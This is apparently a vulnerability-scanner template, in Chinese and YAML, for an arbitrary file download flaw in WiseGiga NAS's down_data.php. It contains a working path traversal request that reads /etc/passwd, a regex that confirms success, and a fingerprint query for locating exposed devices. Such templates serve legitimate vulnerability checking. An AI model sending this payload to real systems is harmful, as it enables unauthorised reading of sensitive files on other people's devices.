漏洞描述
WISEGIGA NAS down_data.php 存在任意文件下载漏洞,由于 /down_data.php 页面 filename 参数过滤不严,导致可以读取系统敏感文件
app="WISEGIGA-NAS"
id: wisegiga-nas-down-data-php-file-read
info:
name: WiseGiga NAS down_data.php 任意文件下载漏洞
author: zan8in
severity: critical
description: |
WISEGIGA NAS down_data.php 存在任意文件下载漏洞,由于 /down_data.php 页面 filename 参数过滤不严,导致可以读取系统敏感文件
app="WISEGIGA-NAS"
reference:
- http://wiki.peiqi.tech/wiki/webapp/WiseGiga/WiseGiga%20NAS%20down_data.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%E6%BC%8F%E6%B4%9E.html
rules:
r0:
request:
method: GET
path: /down_data.php?filename=../../../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()